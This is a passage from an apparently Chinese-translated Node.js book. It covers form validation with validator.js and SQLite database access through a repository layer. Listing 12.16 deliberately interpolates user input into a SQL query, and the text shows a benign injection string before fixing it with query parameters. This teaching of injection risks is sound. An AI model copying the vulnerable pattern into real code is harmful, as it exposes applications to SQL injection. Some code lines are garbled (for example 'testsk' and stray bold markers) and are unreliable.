</div> 

新增功能确保只有在表单数据有效时才显示结果,并在有问题时显示验证错误。在模板中包含错误元素将有助于客户端验证,这在本章后面的部分将演示。

验证数据

最后一步是通过将测试应用到值上来完成自定义验证器,如图 列表 11.27 所示。

列表 11.27:在 src/server 文件夹中的 validation.ts 文件中完成验证器

...
export const validate = (propName: string) => {
    const tests: Record<string, (val: string) => boolean> = {};
    const handler = (req: Request, resp: Response, next: NextFunction ) => {
        **const vreq = req as ValidatedRequest;**
 **if (!vreq.validation) {**
 **vreq.validation = { results: {}, valid: true };**
 **}**
 **vreq.****validation.results[propName] = { valid: true };**
 **Object.keys(tests).forEach(k => {**
 **let valid = vreq.validation****.results[propName][k]**
 **= testsk;**
 **if (!valid) {**
 **vreq.validation.results[propName].valid = false;**
 **vreq.validation.valid = false****;**
 **}**
 **});**
        next();
    }
    handler.required = () => {
        tests.required = (val: string) => val?.trim().length > 0;
        return handler;
    };
... 

我将这一步留到后面,以便使验证系统的其他部分更容易理解。每次调用验证规则方法,例如 required,都会向名为 tests 的常量所分配的对象中添加一个新属性。为了执行验证,枚举 tests 属性,执行每个测试,并使用结果来构建验证结果。如果任何验证测试失败,则整体验证结果和当前字段值的验证结果都将设置为 false

使用浏览器请求 http://localhost:5000 并点击 提交 按钮,无需在表单字段中输入值。验证将失败,并将显示错误消息给用户,如图 图 11.11 所示。

图片

图 11.11:显示验证错误

对于每个失败的验证规则,都会显示一条错误消息,并且后端服务器只有在验证成功后才会生成正常响应。

执行客户端验证

客户端验证在表单提交之前检查表单值,这可以为用户提供即时反馈。除了服务器端验证外,客户端验证也被使用,因为用户可能会禁用客户端 JavaScript 代码或手动提交表单数据。

理解内置的 HTML 客户端验证功能

HTML 支持在输入元素上使用验证属性,以及一个允许接收验证事件的 JavaScript API,这两者都在 developer.mozilla.org/en-US/docs/Learn/Forms/Form_validation 中进行了描述。这些功能可能很有用,但它们并不总是得到一致的实施,并且仅提供基本的验证检查。创建一个更全面的验证系统只需要做一点额外的工作,这就是为什么它们在本章中没有使用。

客户端开发的关键是一致性。这可以通过使用相同的包进行客户端和服务器端验证来实现,这是我在下一节中采取的方法。否则,重要的是要确保字段以相同的方式进行验证并产生相同的错误消息。将名为 client_validation.js 的文件添加到 src/client 文件夹中,其中包含 列表 11.28 中显示的代码。

列表 11.28:src/client 文件夹中 client_validation.js 文件的内容

export const validate = (propName, formdata) => {
    const val = formdata.get(propName);
    const results = { };

    const validationChain = {
        get propertyName() { return propName},
        get results () { return results }
    };
    validationChain.required = () => {
        results.required = val?.trim().length > 0;
        return validationChain;
    }
    validationChain.minLength = (min) => {
        results.minLength = val?.trim().length >= min;
        return validationChain;
    };
    validationChain.isInteger = () => {
        results.isInteger = /^[0-9]+$/.test(val);
        return validationChain;
    }
    return validationChain;
} 

这段 JavaScript 代码遵循与 列表 11.24 中用于设置验证测试链的 TypeScript 代码相似的格式,尽管没有集成到 Express 中。列表 11.29 更新了客户端代码以验证表单数据。

列表 11.29:src/client 文件夹中 client.js 文件中的验证表单数据

import { validate } from "./client_validation";
document.addEventListener('DOMContentLoaded', () => {
    document.getElementById("age_form").onsubmit = (ev => {
        const data = new FormData(ev.target);
        const nameValid = validate("name", data)
            .required()
            .minLength(5);
        const ageValid = validate("age", data)
            .isInteger();
        const allValid = [nameValid, ageValid].flatMap(v_result =>
            Object.entries(v_result.results).map(([test, valid]) => {
                const e = document.getElementById(
                        `err_${v_result.propertyName}_${test}`);
                e.classList.add("bg-dark-subtle");
                e.style.display = valid ? "none" : "block";                      
                return valid
            })).every(v => v === true);
        if (!allValid) {
            ev.preventDefault();
        }
    });
}); 

此代码在 HTML 文档中定位表单元素,并为 submit 事件注册一个处理程序,该事件在用户点击 提交 按钮时触发。浏览器使用 FormData API 获取表单中的数据,这些数据使用 列表 11.28 中定义的验证函数进行测试。验证结果用于更改模板中错误消息元素的可见性。如果有任何验证错误,则在提交事件上调用 preventDefault 方法,这告诉浏览器不要将数据发送到服务器。列表 11.29 保留了表达验证要求的相同风格,这导致处理结果、查找对应于每个已执行测试的元素以及设置元素可见性的代码变得密集。

在此示例中,当客户端 JavaScript 代码处理错误消息元素时,会将它们添加到 Bootstrap CSS 类中,只是为了强调错误是由客户端而不是服务器显示的。

使用浏览器请求 http://localhost:5000/form 并点击 提交 按钮,不填写表单。错误消息元素将被显示,但带有实心背景色,表明它们是由客户端代码显示的,如 图 11.12 所示。

图 11.12:使用客户端验证

使用验证包进行验证

在演示了服务器端和客户端表单验证的工作原理后,现在是时候用经过充分测试和全面的验证库提供的验证替换自定义检查了。

就像 JavaScript 功能的大部分领域一样,有许多库可供选择,而我为这一章选择的 validator.js 库简单有效,既可以用于客户端验证,也可以用于服务器端验证。在 part2app 文件夹中运行 列表 11.30 中显示的命令来安装包。

列表 11.30:安装验证包

npm install validator@13.11.0
npm install --save-dev @types/validator@13.11.5 

列表 11.31 更新了客户端验证代码,以使用 validator.js 包提供的测试。

列表 11.31:在 src/client 文件夹中的 client_validation.js 文件中使用验证包

**import validator from "validator";**
export const validate = (propName, formdata) => {
    const val = formdata.get(propName);
    const results = { };

    const validationChain = {
        get propertyName() { return propName},
        get results () { return results }
    };
    validationChain.required = () => {
        **results.required = !validator.isEmpty(val, { ignore_whitespace: true});**
        return validationChain;
    }
    validationChain.minLength = (min) => {
        **results.minLength = validator.isLength(val, { min});**
        return validationChain;
    };
    validationChain.isInteger = () => {
        **results.isInteger = validator.isInt(val);**
 return validationChain;
    }
    return validationChain;
} 

validator.js 包提供的完整测试集可以在 github.com/validatorjs/validator.js 找到,而 列表 11.31 使用了这些测试中的三个来替换自定义逻辑,其余代码保持不变。

可以将相同的更改应用到服务器上,如 列表 11.32 所示,以确保一致的验证。

列表 11.32:在 src/server 文件夹中的 validation.ts 文件中使用验证包

import { NextFunction, Request, Response } from "express";
**import validator from "validator";**
type ValidatedRequest = Request & {
    validation: {
        results:  { [key: string]: {
            [key: string]: boolean, valid: boolean
        } },
        valid: boolean
    }
}
export const validate = (propName: string) => {
    const tests: Record<string, (val: string) => boolean> = {};
    const handler = (req: Request, resp: Response, next: NextFunction ) => {
        const vreq = req as ValidatedRequest;
        if (!vreq.validation) {
            vreq.validation = { results: {}, valid: true };
        }
        vreq.validation.results[propName] = { valid: true };
        Object.keys(tests).forEach(k => {
            let valid = vreq.validation.results[propName][k]
                = testsk;
            if (!valid) {
                vreq.validation.results[propName].valid = false;
                vreq.validation.valid = false;
            }
        });
        next();
    }
    handler.required = () => {
        **tests.required = (val: string) =>**
 **!validator.****isEmpty(val, { ignore_whitespace: true});**
        return handler;
    };
    handler.minLength = (min: number) => {
        **tests.minLength = (val:string) => validator.****isLength(val, { min});**
        return handler;
    };
    handler.isInteger = () => {
       ** tests.isInteger = (val: string) => validator.isInt(val);**
        return handler;
    }
    return handler;
}
export const getValidationResults = (req: Request) => {
    return (req as ValidatedRequest).validation || { valid : true }
} 

请求 http://localhost:5000/form 并提交表单,您将看到 图 11.13 中显示的验证消息。在浏览器中禁用 JavaScript 并重复此过程,您将看到相同的验证消息,但这次是由服务器显示的,也如 图 11.13 所示。

提示

对于 Google Chrome,您可以通过选择菜单中的三个垂直点旁的 运行命令 并在文本框中输入 java 来在 F12 开发者窗口中禁用 JavaScript。浏览器将显示 禁用 JavaScript启用 JavaScript 命令。

图 11.13:使用验证包

验证对用户显示的方式没有变化,但使用验证包增加了验证将准确执行的信心,并提供了访问更广泛的验证测试的范围。

摘要

在本章中,我描述了应用程序可以接收表单数据、使其安全处理以及检查其是否是应用程序所需数据的不同方式:

  • 可以使用 GETPOST 请求发送表单数据,这会影响数据的编码方式。

  • 在使用 GET 请求发送数据时需要谨慎,因为结果可能会被缓存。

  • 对于通过POST请求发送的表单,有多种编码方式可用,包括一种允许发送文件数据的编码。

  • 在将表单数据包含在 HTML 输出中或用于任何可能将值评估为可信内容的操作之前,应对其进行清理。

  • 在使用之前,表单数据应该进行验证,以确保用户发送的值可以被应用程序安全地使用。

  • 验证可以由服务器或客户端完成。客户端验证不能替代服务器端验证。

在下一章中,我将解释如何在 Node.js 应用程序中使用数据库,以及如何将数据包含在发送给客户端的 HTML 内容中。

第十二章:使用数据库

在本章中,我将演示 Node.js 应用程序如何使用关系型数据库来存储和查询数据。本章解释了如何通过执行 SQL 查询直接与数据库交互,以及如何使用 ORM 包采取更少干预的方法。表 12.1 将本章置于上下文中。

表 12.1:将数据库置于上下文中

问题 答案
它们是什么? 数据库是持久存储数据最常见的方式。
为什么它们有用? 数据库可以存储大量数据,并强制执行一种数据结构,这使得执行高效查询成为可能。
如何使用它们? 数据库由数据库引擎管理,这些引擎可以作为 npm 包安装,在专用服务器上运行,或作为云服务使用。
有没有陷阱或限制? 数据库可能很复杂,需要额外的知识,例如能够用 SQL 表达查询。
有没有替代方案? 数据库不是存储数据的唯一方式,但它们是最常见的,通常也是最有效的,因为它们具有鲁棒性并且易于扩展。

表 12.2 总结了本章我们将做什么。

表 12.2:本章总结

问题 解决方案 列表
持久存储数据。 使用数据库。 7, 8, 12, 13
简化更改数据存储方式的过程。 使用存储库层。 9–11
显示存储的数据。 在渲染模板时包含查询结果。 14, 15
防止用户提交的值被解释为 SQL。 使用查询参数。 16, 17
确保数据的一致性更新。 使用事务。 18–21
无需编写 SQL 查询即可使用数据库。 使用 ORM 包,并使用 JavaScript 代码描述应用程序使用的数据。 22–25, 27, 28
执行使用模型类难以描述的操作。 使用 ORM 包的执行 SQL 功能。 26
使用 ORM 查询和更新数据。 使用模型类定义的方法,并通过 JavaScript 对象指定约束。 29–32

准备本章内容

本章使用 第十一章 中的 part2app 项目。为了准备本章,列表 12.1 删除了客户端验证代码,因为本章不会使用它。

提示

您可以从 github.com/PacktPublishing/Mastering-Node.js-Web-Development 下载本章的示例项目——以及本书中所有其他章节的示例项目。有关如何获取帮助以运行示例的说明,请参阅 第一章

列表 12.1:src/client 文件夹中 client.js 文件的内容

document.addEventListener('DOMContentLoaded', () => {
    // do nothing
}); 

列表 12.2 更新了示例应用的路由配置。

列表 12.2:src/server 文件夹中 server.ts 文件的内容

import { createServer } from "http";
import express, {Express } from "express";
import httpProxy from "http-proxy";
import helmet from "helmet";
import { engine } from "express-handlebars";
import { registerFormMiddleware, registerFormRoutes } from "./forms";
const port = 5000;
const expressApp: Express = express();
const proxy = httpProxy.createProxyServer({
    target: "http://localhost:5100", ws: true
});
expressApp.set("views", "templates/server");
expressApp.engine("handlebars", engine());
expressApp.set("view engine", "handlebars");
expressApp.use(helmet());
expressApp.use(express.json());
registerFormMiddleware(expressApp);
registerFormRoutes(expressApp);
expressApp.use("^/$", (req, resp) => resp.redirect("/form"));
expressApp.use(express.static("static"));
expressApp.use(express.static("node_modules/bootstrap/dist"));
expressApp.use((req, resp) => proxy.web(req, resp));
const server = createServer(expressApp);
server.on('upgrade', (req, socket, head) => proxy.ws(req, socket, head));
server.listen(port,
    () => console.log(`HTTP Server listening on port ${port}`)); 

新的路由配置删除了不再需要的条目。本章中的所有示例都使用模板,新的路由匹配默认路径的请求,并响应重定向到 /form URL。新的路由使用 Express 对 URL 模式的匹配支持,如下所示:

...
expressApp.use(**"^/$"**, (req, resp) => resp.redirect("/form"));
... 

该模式需要匹配对 http://localhost:5000 的请求,而不是由其他路由处理的请求,例如 http://localhost:5000/css/bootstrap.min.css(由静态内容中间件处理)或 http://localhost:5000/bundle.js(转发到 webpack 开发 HTTP 服务器)。

列表 12.3 更新了 age 模板,添加了一个允许用户指定年数的字段,以便在结果数据中允许更多的变化。HTML 输出的结构已更改,引入了两列布局并使用名为 history 的部分模板。此列表还删除了验证错误元素,这在实际项目中是不应该做的,但在这个章节中它们不是必需的。

列表 12.3:模板/服务器文件夹中 age.handlebars 文件的内容

<div class="container fluid">
    <div class="row">
        <div class="col-7">
            {{#if name}}
                <div class="m-2">
                    <h4>Hello {{ name }}. You will be {{ nextage }}
                        in {{ years }} years.</h4>
                </div>
            {{/if}}
            <div>
                <form id="age_form" action="/form" method="post">
                    <div class="m-2">
                        <label class="form-label">Name</label>
                        <input name="name" class="form-control"
                            value="{{ name }}"/>
                    </div>
                    <div class="m-2">
                        <label class="form-label">Current Age</label>
                        <input name="age" class="form-control"
                            value="{{ age }}" />
                    </div>                  
                    <div class="m-2">
                        <label class="form-label">Number of Years</label>
                        <input name="years" class="form-control"
                            value="{{ years }}" />         
                    </div>                          
                    <div class="m-2">
                        <button class="btn btn-primary">Submit</button>                               
                    </div>
                </form>
            </div>
        </div>
        <div class="col-5">
            {{> history }}
        </div>
    </div>
</div> 

要创建部分视图,将名为 history.handlebars 的文件添加到 templates/server/partials 文件夹中,内容如 列表 12.4 所示。

列表 12.4:模板/服务器/部分文件夹中 history.handlebars 文件夹的内容

<h4>Recent Queries</h4>
<table class="table table-sm table-striped my-2">
    <thead>
        <tr>
            <th>Name</th><th>Age</th><th>Years</th><th>Result</th>
        </tr>
    </thead>
    <tbody>
        {{#unless history }}
            <tr><td colspan="4">No data available</td></tr>
        {{/unless }}
    </tbody>
</table> 

部分模板显示通过 history 上下文属性提供的数据,当没有数据可用时显示默认消息。列表 12.5 修改了处理 /form URL 的代码,移除了上一章中引入的验证检查。

列表 12.5:src/server 文件夹中 forms.ts 文件的内容

import express, { Express } from "express";
export const registerFormMiddleware = (app: Express) => {
    app.use(express.urlencoded({extended: true}))
}
export const registerFormRoutes = (app: Express) => {
    app.get("/form", (req, resp) => {
        resp.render("age");
    });
    app.post("/form", (req, resp) => {
        const nextage = Number.parseInt(req.body.age)
            + Number.parseInt(req.body.years);
        const context = {
            ...req.body, nextage
        };
        resp.render("age", context);  
    });
} 

part2app 文件夹中运行 列表 12.6 中显示的命令以启动开发工具。

列表 12.6:启动开发工具

npm start 

使用浏览器请求 http://localhost:5000,填写表单,并点击提交按钮,如图 图 12.1 所示。在最近查询部分不会显示任何数据。

图片

图 12.1:运行示例应用程序

使用数据库

数据库允许网络应用程序读取和写入数据,这些数据可以用于生成对 HTTP 请求的响应。有许多类型的数据库,包括关于数据存储和查询的选择、数据库软件的部署方式以及如何处理数据变更。

数据库市场具有竞争力和创新性,有优秀的商业和开源产品,但我的建议是,最好的数据库是你已经理解和之前使用过的数据库。大多数项目可以使用大多数数据库,而特定数据库技术带来的好处可能会因为学习并掌握该技术所需的时间而被削弱。

如果你没有数据库,很容易在无尽的选择中迷失方向,我的建议是从尽可能简单的东西开始。对于小型应用程序,我推荐 SQLite,这是我在本章中将使用的数据库。对于大型应用程序,尤其是在使用多个 Node.js 实例来处理 HTTP 请求的情况下,我推荐使用一些优秀的开源关系型数据库,例如 MySQL (www.mysql.com) 或 PostgreSQL (www.postgresql.org)。你可以在本书的第三部分中看到一个这样的数据库示例。

如果你不喜欢使用结构化查询语言SQL),那么有很好的 NoSQL 数据库可供选择,一个好的起点是 MongoDB (www.mongodb.com)。

数据库投诉

每当我写关于选择数据库产品时,我都会收到投诉。许多开发者对某个特定数据库或数据库风格的优越性有强烈的看法,当我不推荐他们偏好的产品时,他们会感到沮丧。

并非我认为任何特定的数据库引擎不好。事实上,数据库市场从未如此繁荣,以至于几乎任何数据库产品都可以在几乎任何项目中使用,对生产效率或规模的影响很小。

数据库引擎就像汽车:现代汽车如此出色,以至于大多数人几乎可以用任何汽车来应对。如果你已经有了汽车,那么与更换汽车的成本相比,改变它的好处可能很小。如果你没有汽车,那么一个好的起点就是从大多数邻居都有的汽车开始,当地的机械师经常对其进行维修。有些人对汽车非常着迷,并对某个品牌或型号有强烈的看法,这很正常,但可能会过度,而且大多数人不会以使边际改进变得显著的方式驾驶。

因此,我完全理解为什么一些开发者会深深投入到特定的数据库引擎中——我尊重这种承诺和理解水平——但大多数项目并没有那些使数据库产品之间差异重要的数据存储或处理需求。

安装数据库包

本章中使用的数据库引擎是 SQLite。它在 Node.js 进程中运行,是数据不需要在多个 Node.js 实例之间共享的应用程序的良好选择。由于 SQLite 不作为单独的服务器运行,因此它不支持这一点。SQLite 被广泛使用,至少根据sqlite.org,它是世界上最受欢迎的数据库引擎。

part2app文件夹中运行列表 12.7中显示的命令,将 SQLite 添加到项目中。不需要额外的 TypeScript 类型包。

列表 12.7:将数据库包添加到项目中

npm install sqlite3@5.1.6 

此包包括数据库引擎、Node.js API 以及这些 API 对 TypeScript 编译器的描述。为了描述本节中将使用的数据库,将一个名为age.sql的文件添加到part2app文件夹中,其内容如列出 12.8所示。

列出 12.8:part2app文件夹中 age.sql 文件的内容

DROP TABLE IF EXISTS Results;
DROP TABLE IF EXISTS Calculations;
DROP TABLE IF EXISTS People;
CREATE TABLE IF NOT EXISTS `Calculations` (
    id INTEGER PRIMARY KEY AUTOINCREMENT, `age` INTEGER,
    years INTEGER, `nextage` INTEGER);
CREATE TABLE IF NOT EXISTS `People` (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    name VARCHAR(255));
CREATE TABLE IF NOT EXISTS `Results` (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    calculationId INTEGER REFERENCES `Calculations` (`id`)
        ON DELETE CASCADE ON UPDATE CASCADE,
    personId INTEGER REFERENCES `People` (`id`)
        ON DELETE CASCADE ON UPDATE CASCADE);
INSERT INTO Calculations (id, age, years, nextage) VALUES
    (1, 35, 5, 40), (2, 35, 10, 45);
INSERT INTO People (id, name) VALUES
    (1, 'Alice'), (2, "Bob");

INSERT INTO Results (calculationId, personId) VALUES
    (1, 1), (2, 2), (2, 1); 

列出 12.8中的 SQL 语句创建了三个表,这些表将记录应用程序执行的计算年龄。Calculations表跟踪已执行的计算年龄,并包含用户提供的年龄和年份值以及已计算的未来年龄的列。People表跟踪用户提供的名字。Results表通过引用名字和计算来跟踪结果。

注意

应用程序处理的数据不必要三个表,但简单数据与多个表的结合可以更容易地展示一些常见问题。

创建存储库层

存储库是一层代码,将数据库与应用程序的其余部分隔离开来,这使得在不更改使用该数据的代码的情况下更容易更改数据的读取和写入方式。并不是每个人都认为存储库层有用,但我的建议是除非你完全确信你的应用程序对数据或数据库产品的使用不会改变,否则请使用它。创建src/server/data文件夹,并向其中添加一个名为repository.ts的文件,其内容如列出 12.9所示。

列出 12.9:src/server/data文件夹中 repository.ts 文件的内容

export interface Result {
    id: number,
    name: string,
    age: number,
    years: number,
    nextage: number
}
export interface Repository {
    saveResult(r: Result):  Promise<number>;
    getAllResults(limit: number) : Promise<Result[]>;
    getResultsByName(name: string, limit: number): Promise<Result[]>;
} 

Repository接口定义了存储新的Result对象、查询所有结果以及具有特定名字的结果的方法。Result类型定义了数据库表中所有数据列的属性,以简单、平面结构的形式。

项目可以使用与数据库结构匹配的数据类型,但这通常意味着从用户那里到达的数据必须在提取并用于创建 SQL 语句之前组装成一个复杂结构,而反向过程将数据库中的数据组装成相同的结构,只是为了从模板中提取出来使用。这并不总是可能的,但使用简单的平面数据结构通常可以简化开发。

实现存储库

下一步是实现使用 SQLite 数据库引擎的Repository接口的类。我打算分阶段实现存储库,这将有助于理解数据库中的数据与应用程序中的 JavaScript 对象之间的关系。为了开始实现,在src/server/data文件夹中创建一个名为sql_repository.ts的文件,其内容如列出 12.10所示。

列出 12.10:src/server/data文件夹中 sql_repository.ts 文件的内容

import { readFileSync } from "fs";
import { Database } from "sqlite3";
import { Repository, Result } from "./repository";
export class SqlRepository implements Repository {
    db: Database;
    constructor() {
        this.db = new Database("age.db");
        this.db.exec(readFileSync("age.sql").toString(), err => {
            if (err != undefined) throw err;
        });
    }
    saveResult(r: Result): Promise<number> {
        throw new Error("Method not implemented.");
    }
    getAllResults($limit: number): Promise<Result[]> {
        throw new Error("Method not implemented.");
    }

    getResultsByName($name: string, $limit: number): Promise<Result[]> {
        throw new Error("Method not implemented.");
    }
} 

SqlRepository类实现了Repository接口,其构造函数准备数据库。sqlite3模块包含数据库 API 并创建一个新的Database对象,指定age.db作为文件名。Database对象提供了使用数据库的方法,exec方法用于执行 SQL 语句——在这种情况下,用于执行age.sql文件中的语句。

注意

真实项目不需要每次都执行 SQL 来创建数据库,但这样做可以让示例重置,这就是为什么清单 12.8中的 SQL 将删除并重新创建数据库表的原因。数据库通常仅在应用程序部署时初始化,您可以在本书的第三部分中看到一个示例。

为了使存储库可供应用程序的其余部分使用,在src/server/data文件夹中添加一个名为index.ts的文件,其内容如清单 12.11所示。

清单 12.11:src/server/data文件夹中index.ts文件的内容

import { Repository } from "./repository";
import { SqlRepository } from "./sql_repository";
const repository: Repository = new SqlRepository();
export default repository; 

此文件负责实例化存储库,以便应用程序的其余部分可以通过Repository接口访问数据,而无需知道使用了哪种实现。

查询数据库

下一步是实现提供数据库访问的方法,从查询数据的方法开始。在src/server/data文件夹中添加一个名为sql_queries.ts的文件,其内容如清单 12.12所示。

清单 12.12:src/server/data文件夹中sql_queries.ts文件的内容

const baseSql = `
    SELECT Results.*, name, age, years, nextage FROM Results
    INNER JOIN People ON personId = People.id
    INNER JOIN Calculations ON calculationId = Calculations.id`;
const endSql = `ORDER BY id DESC LIMIT $limit`;
export const queryAllSql = `${baseSql} ${endSql}`;
export const queryByNameSql = `${baseSql} WHERE name = $name ${endSql}`; 

SQL 查询可以像任何其他 JavaScript 字符串一样编写,我的偏好是避免重复,通过定义基本查询然后在此基础上构建所需的变化来创建查询。在这种情况下,我定义了baseSqlendSql字符串,它们被组合起来创建查询,因此匹配名称的数据查询如下所示:

...
SELECT Results.*, name, age, years, nextage FROM Results
    INNER JOIN People ON personId = People.id
    INNER JOIN Calculations ON calculationId = Calculations.id
    WHERE name = $name
    ORDER BY id DESC LIMIT $limit
... 

这些查询使用命名参数,由一个$符号表示,允许在执行查询时提供值。正如我在理解 SQL 查询参数部分所解释的,这是一个应该始终使用且每个数据库包都支持的功能。

我不是专业的数据库管理员,有更有效的方法来编写查询,但使用数据库在查询返回的数据可以轻松解析为 JavaScript 对象时更为简单。在这种情况下,查询将返回类似以下的数据表:

id calculationId personId name age years nextage
1 1 1 Alice 35 5 40
3 2 1 Alice 35 10 45

SQLite 包将数据表转换为 JavaScript 对象的数组,其属性对应于表列名,如下所示:

...
{
    id: 1,
    calculationId: 1,
    personId: 1,
    name: "Alice",
    age: 35,
    years: 5,
    nextage: 40
}
... 

从数据库接收到的数据结构是 列表 12.9 中定义的 Result 接口的超集,这意味着从数据库接收到的数据可以不经过进一步处理而使用。列表 12.13 使用 列表 12.12 中定义的 SQL 查询数据库。

列表 12.13:在 src/server/data 文件夹中的 sql_repository.ts 文件中查询数据库

import { readFileSync } from "fs";
import { Database } from "sqlite3";
import { Repository, Result } from "./repository";
**import { queryAllSql, queryByNameSql } from** **"./sql_queries";**
export class SqlRepository implements Repository {
    db: Database;
    constructor() {
        this.db = new Database("age.db");
        this.db.exec(readFileSync("age.sql").toString(), err => {
            if (err != undefined) throw err;
        });
    }
    saveResult(r: Result): Promise<number> {
        throw new Error("Method not implemented.");
    }
    getAllResults($limit: number): Promise<Result[]> {
       ** return this.executeQuery(queryAllSql, { $limit });**
    }

    getResultsByName($name: string, $limit: number): Promise<Result[]> {
       ** return this.executeQuery(queryByNameSql, { $name, $limit });**
    }
   **executeQuery(sql: string, params: any) : Promise<Result[]> {**
 **return new Promise<Result[]>((resolve, reject****) => {**
 **this.db.all<Result>(sql, params, (err, rows) => {**
 **if (err == undefined) {**
 **resolve(rows);**
 **}** **else {**
 **reject(err);**
 **}**
 **})**
 **});**
 **}**
} 

构造函数中创建的 Database 对象提供了查询数据库的方法。executeQuery 方法使用 Database.all 方法,该方法执行 SQL 查询并返回数据库产生的所有行。为了快速参考,表 12.3 描述了 Database 类提供的最有用的方法。大多数这些方法接受查询参数的值,我在 理解 SQL 查询参数 部分中解释了这些。

表 12.3:有用的数据库方法

名称 描述

|

`run(sql, params, cb)` 
此方法执行一个带有可选参数集的 SQL 语句。不返回结果数据。如果发生错误或执行完成时,将调用可选的回调函数。

|

`get<T>(sql, params, cb)` 
此方法执行一个带有可选参数集的 SQL 语句,并将第一个结果行作为类型为 T 的对象传递给回调函数。

|

`all<T>(sql, params, cb)` 
此方法执行一个带有可选参数集的 SQL 语句,并将所有结果行作为类型为 T 的数组传递给回调函数。

|

`prepare(sql)` 
此方法创建一个预处理语句,用 Statement 对象表示,可以提高性能,因为数据库不需要在每次查询执行时处理 SQL。此方法不接受查询参数。

显示数据

列表 12.14 更新了处理 HTTP 请求的代码,以创建 SQL 存储库的实例,并使用它提供的方法查询数据库并将结果传递给模板。

列表 12.14:在 src/server 文件夹中的 forms.ts 文件中使用存储库

import express, { Express } from "express";
**import repository  from "./data";**
**const** **rowLimit = 10;**
export const registerFormMiddleware = (app: Express) => {
    app.use(express.urlencoded({extended: true}))
}
export const registerFormRoutes = (app: Express) => {
    **app.get("/form", async (req, resp) => {**
        resp.render("age", {
           ** history: await repository.getAllResults(rowLimit)**
        });
    });
    **app.post("/form", async (req, resp) => {**
        const nextage = Number.parseInt(req.body.age)
            + Number.parseInt(req.body.years);
        const context = {
            ...req.body, nextage,
         **   history****: await repository.getResultsByName(**
 **req.body.name, rowLimit)**
        };
        resp.render("age", context);  
    });
} 

async 关键字应用于处理函数,这允许在调用存储库方法时使用 await 关键字。结果通过名为 history 的属性传递给模板,该属性用于填充 列表 12.15 中的表格。

列表 12.15:在模板/服务器/部分文件夹中的 history.handlebars 文件中填充表格

<h4>Recent Queries</h4>
<table class="table table-sm table-striped my-2">
    <thead>
        <tr>
            <th>Name</th><th>Age</th><th>Years</th><th>Result</th>
        </tr>
    </thead>
    <tbody>
        {{#unless history }}
            <tr><td colspan="4">No data available</td></tr>
        {{/unless }}
        **{{#each history }}**
**<tr>**
 **<td>{{ this.name }} </td>**
 **<td>{{ this.age }} </td>**
**<td>{{ this.years }} </td>**
 **<td>{{ this.nextage }} </td>**
 **</tr>**
 **{{/each }}**
    </tbody>
</table> 

使用浏览器请求 http://localhost:5000/form,你会看到右侧显示了所有用户的数据。填写并提交表单后,只会显示该用户的查询,如图 图 12.2 所示。其他用户的数据库中的查询不再显示。

图 12.2:查询数据库

理解 SQL 查询参数

在 SQL 查询中包含从用户接收到的值时必须小心。作为一个示例,列表 12.16 修改了由 SQLRepository 类定义的 getResultsByName 的实现。

清单 12.16:在 src/server/data 文件夹中的 sql_repository.ts 文件中包含用户输入

...
getResultsByName($name: string, $limit: number): Promise<Result[]> {
    **return this.executeQuery****(`**
 **SELECT Results.*, name, age, years, nextage FROM Results**
 **INNER JOIN People ON personId = People.id**
 **INNER JOIN Calculations ON calculationId = Calculations.id**
 **WHERE name = "${$name}"`, {});**
}
... 

在这个例子中犯的错误是将从表单接收到的值直接包含在查询中。如果用户在表单中输入Alice,那么查询将看起来像这样:

...
SELECT Results.*, name, age, years, nextage FROM Results
        INNER JOIN People ON personId = People.id
        INNER JOIN Calculations ON calculationId = Calculations.id
        WHERE name = "Alice"
... 

这是预期的行为,并且它检索使用该名称进行的查询。但是,很容易构建更改查询的字符串。例如,如果用户输入Alicename = "Bob",那么查询将看起来像这样:

...
SELECT Results.*, name, age, years, nextage FROM Results
        INNER JOIN People ON personId = People.id
        INNER JOIN Calculations ON calculationId = Calculations.id
        WHERE name = "Alice" OR name = "Bob"
... 

这不是开发者预期的结果,这意味着两个用户的查询将显示,如图 12.3 所示。

图 12.3:执行包含用户输入的查询

这是一个良性示例,但它表明直接在查询中包含用户提供的值允许恶意用户更改查询的处理方式。这个问题并没有通过第十一章中描述的 HTML 清理来解决,因为值是在它们包含在响应中之前才被清理的。相反,数据库提供了对查询参数的支持,这允许安全地将值插入到查询中。

参数在 SQL 查询中定义,并用初始的$字符表示,如下所示:

...
export const queryByNameSql = `${baseSql} WHERE name = **$name** ${endSql}`;
... 

这个语句与基本查询相结合,这意味着整个 SQL 语句看起来像这样:

...
SELECT Results.*, name, age, years, nextage FROM Results
    INNER JOIN People ON personId = People.id
    INNER JOIN Calculations ON calculationId = Calculations.id
    WHERE name = **$name** ORDER BY id DESC LIMIT **$limit**
... 

两个查询参数被加粗,并且它们指示在SqlRepository类的executeQuery方法执行语句时将提供的值:

...
executeQuery(sql: string, **params**: any) : Promise<Result[]> {
    return new Promise<Result[]>((resolve, reject) => {
        this.db.all<RowResult>(sql, **params**, (err, rows) => {
            if (err == undefined) {
                resolve(rowsToObjects(rows));
            } else {
                reject(err);
            }
        })
    });
}
... 

清单 12.17SqlRepository类的更改恢复,以便getResultsByName方法执行的查询使用executeQuery方法并提供查询参数。

清单 12.17:在 src/server/data 文件夹中的 sql_repository.ts 文件中使用查询参数

...
getResultsByName($name: string, $limit: number): Promise<Result[]> {
    **return this.executeQuery(queryByNameSql, { $name, $limit });**
}
... 

包含参数值的对象具有与 SQL 语句中的参数匹配的属性名称:$name$limit$符号不是在 SQL 中表示查询参数的唯一方式,但它与 JavaScript 配合得很好,因为$符号允许在变量名称中使用。这就是为什么getResultsByName方法定义了$name$limit参数,允许值传递而不需要更改名称。

最后一个拼图是由处理表单数据的代码提供的:

...
const context = {
    ...req.body, nextage,
    history: await repository.getResultsByName(**req.body.name**, rowLimit)
};
... 

用户在表单中输入的名称字段的值从主体中读取,并用作$name查询参数的值。表 12.3中描述的方法会自动清理查询参数,因此它们不会改变查询的执行方式,如图 12.4 所示。

图 12.4:清理后的查询参数的效果

写入数据库

下一步是写入数据,以便数据库包含在创建数据库时添加的种子数据之外的数据。清单 12.18定义了将行插入数据库表的 SQL 语句。

列表 12.18:src/server/data 文件夹中 sql_queries.ts 文件添加语句

const baseSql = `
    SELECT Results.*, name, age, years, nextage FROM Results
    INNER JOIN People ON personId = People.id
    INNER JOIN Calculations ON calculationId = Calculations.id`;
const endSql = `ORDER BY id DESC LIMIT $limit`;
export const queryAllSql = `${baseSql} ${endSql}`;
export const queryByNameSql = `${baseSql} WHERE name = $name ${endSql}`;
**export const insertPerson = `**
 **INSERT INTO People (name)**
